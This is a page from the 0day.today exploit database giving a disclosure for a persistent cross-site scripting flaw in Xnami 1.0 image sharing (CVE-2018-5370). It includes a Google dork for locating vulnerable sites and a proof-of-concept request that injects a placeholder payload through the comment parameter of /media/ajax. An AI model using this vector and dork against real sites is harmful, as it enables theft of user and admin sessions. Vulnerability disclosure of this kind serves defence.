[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Xnami 1.0 - Cross-Site Scripting Vulnerability

Author
Dennis Veninga
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-29456
Category
web applications
Date add
12-01-2018
CVE
CVE-2018-5370
Platform
php
# Exploit Title: Xnami Image Sharing - Persistent XSS Vulnerability
# Google Dork: "  Copyright 2017 xnami. " & 2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: bizlogicdev.com
# Version: 1.0
# CVE-ID: CVE-2018-5370
 
Xnami facilitates the creation of an image sharing community. This is
similar in
functionality to sites like imgur, ImageShack, et al.
 
BizLogic xnami 1.0 has XSS via the comment parameter in an addComment
action to the /media/ajax URI.
 
At any uploaded media there is a comment system where people can post (also
anonymous).
The comment system is vulnerable to XSS attacks. Since it's persistent
and there is an user login interface, it's possible for attackers to
steal sessions of users and thus admin(s).
 
---------------------------
---------------------------
PoC with mediaId 611 as example:
 
POST:
http://{{target}/media/ajax
 
method: addComment
comment: "><XSSCODE<
mediaId 611
---------------------------
---------------------------
 
Evil javascript code can be inserted and will be executed when visiting the
media.

#  0day.today [2024-11-15]  #